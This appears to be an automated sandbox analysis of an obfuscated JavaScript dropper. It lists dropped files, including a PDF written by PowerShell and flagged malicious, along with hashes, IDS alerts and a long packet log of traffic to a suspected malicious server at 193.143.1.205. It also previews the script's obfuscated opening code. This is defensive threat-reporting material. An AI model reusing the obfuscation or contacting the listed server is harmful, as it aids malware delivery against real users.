SHA-512:	0D58BA35B2BBE548612357D9252FD87DDDC939B346DC666778CCE2C44E60F4A58434A42FDA5BDC7DF9552999D29ACD35E2F77FC5BD3D423B336F224D157F00A6
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18531), with CRLF line terminators
Entropy (8bit):	4.911414305464119
TrID:
File name:	1632322273251213172.js
File size:	22'122 bytes
MD5:	7f583b578ed3734500651a2a291002db
SHA1:	03781c1a3de0fb4b42de195cee3dcc6927d7f284
SHA256:	49e14b6d48d8ff03a3bffa84992d9e1c25e232adde40fb2d26ff9ec721d159f8
SHA512:	06bd75b53853f830282e929f6479f53aec63d6436ed92d54ba28a78cb1ae1b53482e1e3f0ccde1403552545c6a4253ba44a16e8f0c8f675d7f4c7baffbfa0ea0
SSDEEP:	384:Vkrb10hOS+iHeRH4r1eIpxmJ0+eUcZ/RoXZw:Krb14KiHGHQbOOJoXZw
TLSH:	8DA223C0FC0A8A5B8CE92AF43C8B00DE955906CDCD7884DA7AA335151F51B79B9F16B3
File Content Preview:	function xdiwfof(){gqbuflwa=[1031,3079,5127,4103,2055,3072];var lqqpp=this[jxhtumn+itdtckdl+rgtdqwbvr+lbxjoxr+nnqvvpv+owqpcqqx+iybyxrle+agrxp](this[zhena+anssa+sslbyysvy+rgtdqwbvr+bdhaxyjy+jxhtumn+agrxp][eirycb+rgtdqwbvr+nnqvvpv+itdtckdl+agrxp+nnqvvpv+yfi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:48:26.372409+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-10T22:48:28.993830+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:48:25.559933901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:25.564768076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:25.564851999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:25.567548037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:25.572855949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.371860981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.371891975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.371941090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.371997118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372010946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372028112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372061968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372078896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372097969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372117996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.372409105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.372409105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.372860909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.377348900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.377367020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.377525091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.414748907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.414787054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.414793968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.415946007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.508574963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508599997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508605957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508619070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508626938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508848906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.508914948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508959055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508965015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.508992910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.509059906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509068012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509094954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.509160995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.509792089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509812117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509824038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509917974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509924889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.509994030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.510013103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.510637045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.510687113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.510694027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.510740042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.511181116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.535386086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.535394907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.536087990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.545228004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.545241117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.545248985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.547837019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.579066038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.579076052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.579420090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.616723061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.616733074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.616770029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.616812944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.616820097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.616873026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.616976023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.617065907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.617067099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.617297888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617331028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617336988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617377043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617438078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.617772102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617791891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617798090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617886066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617939949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617945910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.617986917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.618094921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.618563890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618571997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618577957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618685961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618691921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618710041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618721008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.618747950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.618792057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.622725964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623023987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623029947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623083115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.623205900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.623632908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623639107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623645067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623650074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623656034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623661041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623667955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623673916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623684883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623688936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623696089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623714924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.623779058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623785019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.623785973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623794079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623804092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.623881102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.662945032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.662955999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.662961960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.662974119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.663043022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.663055897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.663064003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.663094997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.663146019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.663146019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.663227081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.663232088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.663290024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.666075945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.666083097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.666182041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.666208982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.666214943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.666290045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.703903913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.704015017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.704165936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.748549938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748560905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748568058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748691082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748697042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748703957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748708963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748714924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748722076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748729944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.748883963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.748883963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.748974085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.748996019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749002934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749171019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749178886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749229908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.749332905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749339104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749347925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749361992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.749512911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749520063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749526024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749537945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749551058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749557972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.749577045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.749686956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749691963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749699116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.749710083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.750041008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750055075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750057936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750082016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.750215054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750222921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750224113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.750232935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750308990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.750397921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750405073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750411034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750425100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750430107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750524044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.750524044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.750737906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750744104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750750065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.750874043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.751244068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751250982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751256943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751365900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.751418114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751425028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751430988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751440048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751493931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.751555920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.751589060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751595020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751606941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751770020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751776934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751789093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751795053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.751820087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752053022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752300978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752309084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752315998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752465963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752473116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752487898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752494097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752505064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752552032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752552032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752629042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752635002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752640963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752646923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752654076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752676010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752814054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752829075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.752846956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.752927065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.753176928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753182888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753190041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753284931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.753345013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753351927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753359079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753413916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.753520012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753526926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.753617048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.754465103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.754756927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.754762888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.754791975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.754829884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.761507034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.798177958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798300028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798309088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798451900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798460960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798474073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798479080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798485041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.798542023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.798542976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.798542976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.798746109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 22:48:26.835289001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835302114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835310936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835333109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835418940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835426092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835438013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835444927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835452080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 22:48:26.835553885 CET	80	49730	193.143.1.205	192.168.2.4
